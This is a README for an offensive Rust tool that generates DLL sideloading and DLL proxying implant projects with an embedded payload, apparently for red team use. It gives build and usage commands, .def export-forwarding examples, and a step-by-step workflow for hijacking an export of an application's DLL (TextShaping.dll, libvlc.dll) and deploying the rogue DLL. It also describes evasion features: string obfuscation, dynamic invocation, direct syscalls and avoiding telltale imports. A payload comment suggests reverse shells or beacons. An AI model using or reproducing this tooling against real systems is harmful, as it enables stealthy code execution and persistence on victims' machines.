# LazyDLLSideload A Rust-based tool for generating DLL proxy and sideload projects for red team engagements. Parses PE export tables and produces ready-to-compile Rust projects with your payload embedded. ## Overview LazyDLLSideload automates building DLL proxying and sideloading implants. - Uses the windows_sys ecosystem. - Parses any Windows DLL to extract exported functions. - Generates complete Rust projects. - Obfuscates strings. Decrypts at runtime. - Supports two operation modes. Sideload and Proxy. - Uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke) for dynamic invocation and syscall execution in proxy loads. ## Installation ### Install as package Install once. Run from any path. ```bash cargo install LazyDLLSideload ``` ### Clone the repository ```bash git clone https://git.smukx.site/smukx/LazyDLLSideload.git cd LazyDLLSideload cargo b -r ; cp target/release/LazyDLLSideload.exe . ``` # Usage ## Mode 1: Sideload Sideload mode creates a DLL to replace the original. Your payload runs when a target export is called. The original DLL never loads. This is a pure sideload attack. ### How It Works 1. Parses the target DLL to collect all exported functions. 2. Generates stub functions for all exports except the hijacked one. 3. Creates a `lib.rs` with the hijacked function. Your payload runs from there. 4. On build, you get a DLL with all the required exports. ### Example ```bash # Generate sideload project for libvlc.dll ./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_new ``` This generates a project where: - `libvlc_new` is the hijacked export and triggers the payload. - All other exports are empty stubs. - The target app loads your DLL directly. POC: ![Sideloading VLC]() --- ## Mode 2: Proxy Mode Proxy mode creates a DLL with three jobs: 1. Forwards all function calls to the original (renamed) DLL. 2. Intercepts one specific function to execute your payload. 3. Maintains full functionality of the original DLL. This is the classic proxying technique. The original DLL is renamed. Your proxy DLL takes its place, forwards calls, and intercepts specific functions. ### Key Components #### 1. The Dispatch Function The dispatch function is the core of the proxy. It: - Loads the original DLL dynamically via `dyncvoke`. - Resolves function addresses at runtime with `GetFunctionAddress`. - Caches resolved addresses in a callback table to avoid repeated lookups. - Uses a sync lock so the payload runs only once. ```rust fn dispatch_call( a1-u64, a2-u64, ..., a20-u64, export_id: u32 // Which function was called (0 = hijacked) ) -> u64 ``` #### 2. Export Forwarding The `.def` file forwards non-hijacked exports to the original DLL: ```def LIBRARY TextShaping EXPORTS BuildOtlCache=Shaping.BuildOtlCache @1 FreeOtlResources=Shaping.FreeOtlResources @2 GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3 ... ShapingCreateFontCacheData @12 ; Hijacked - handled by dispatch_call ``` This tells the Windows loader to forward calls to `Shaping.dll` (the renamed original) on its own. #### 3. Dynamic Function Invocation (dyncvoke) The tool uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke): - Better OPSEC. No import table entries for the original DLL. - Syscalls. Set `NATIVE = true` to use `NtCreateThreadEx` for thread creation. - No suspicious imports. The proxy DLL has no explicit dependency on the target DLL. ```rust // Dynamically load the original DLL at runtime let module_handle = load_library_a(DLL_NAME); // Resolve the function dynamically let proc_addr = get_function_address(module_handle, &proc_name); ``` ### Two Path Modes #### Relative Path Mode (Default) > Note: For relative path mode, place the original dll next to LazyDLLSideload.exe. You give it a relative path like `-p ./TextShaping.dll`: ```bash ./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll ``` POC: ![Relative Path Mode](./images/relative_path_mode.png) Generated `.def` forwarding: ```def BuildOtlCache=Shaping.BuildOtlCache @1 ``` #### Absolute Path Mode You give it an absolute path like `-p C:\Windows\System32\TextShaping.dll`: ``` 1. No renaming needed 2. Deploy the YourProxy.dll in the target directory. 3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll" 4. The proxy dll loads the original DLL directly from system32 and forwards to it. ``` ```bash ./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData ``` Generated `.def` forwarding: ```def BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1 ``` POC: ![Absolute Path Mode](./images/absolute_path_mode.png) --- ## Usage ### Build the Tool ```bash cargo build --release cp target/release/LazyDLLSideload.exe . ``` ### Sideload Mode ```bash ./LazyDLLSideload.exe -m sideload -p -e ``` ### Proxy Mode ```bash # Relative path mode ./LazyDLLSideload.exe -m proxy -p -e -n # Absolute path mode ./LazyDLLSideload.exe -m proxy -p -e ``` ### Options | Option | Description | |--------|-------------| | `-m, --mode` | Mode: `sideload` or `proxy` | | `-p, --path` | Path to target DLL | | `-e, --export` | Export function name to hijack | | `-n, --name` | Original DLL name after renaming (relative proxy path mode only) | --- ## Project Structure ### Sideload Mode ``` project_name/ ├── Cargo.toml # Minimal dependencies (windows-sys only) └── src/ ├── lib.rs # DllMain + hijacked function + payload └── forward.rs # Stub functions for all other exports ``` ### Proxy Mode ``` project_name/ ├── Cargo.toml # Includes dyncvoke dependency ├── build.rs # Links proxy.def ├── proxy.def # Export table with forwarding ├── dyncvoke/ # Dynamic invocation library └── src/ ├── lib.rs # Gateway + hijacked function └── forward.rs # Stub functions (satisfies linker) ``` --- ## Payload Customization The default payload shows a MessageBox. To customise, edit the generated `lib.rs`: ```rust fn initialize_component() { // Your custom payload here // Example: reverse shell, beacon, etc. } ``` ### Native Syscall Mode In proxy mode, syscalls run by default. Toggle them with: ```rust const NATIVE: bool = true; // Use NtCreateThreadEx via syscall // vs const NATIVE: false; // Use std::thread::spawn ``` --- ## Example Workflow (Relative Path Mode) ### 1. Identify Target DLL ``` # Find a DLL the application loads procmon.exe -> Filter: "Path ends with TextShaping.dll" ``` ### 2. Generate Proxy ```bash ./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll ``` ### 3. Build ```bash cd TextShaping cargo build --release ``` ### 4. Deploy ``` # Copy and rename original dll rename TextShaping.dll Shaping.dll # Deploy copy target\release\TextShaping.dll . copy Shaping.dll . # The target app loading TextShaping.dll now: # - Gets full functionality via forwarding # - Executes the payload when ShapingCreateFontCacheData is called # - Forwards to the original renamed dll Shaping.dll ``` ## Requirements - Rust (1.70+) - Visual Studio Build Tools (MSVC) - Windows target: `rustup target add x86_64-pc-windows-msvc` ## LICENSE Released under [MIT LICENSE](./LICENSE).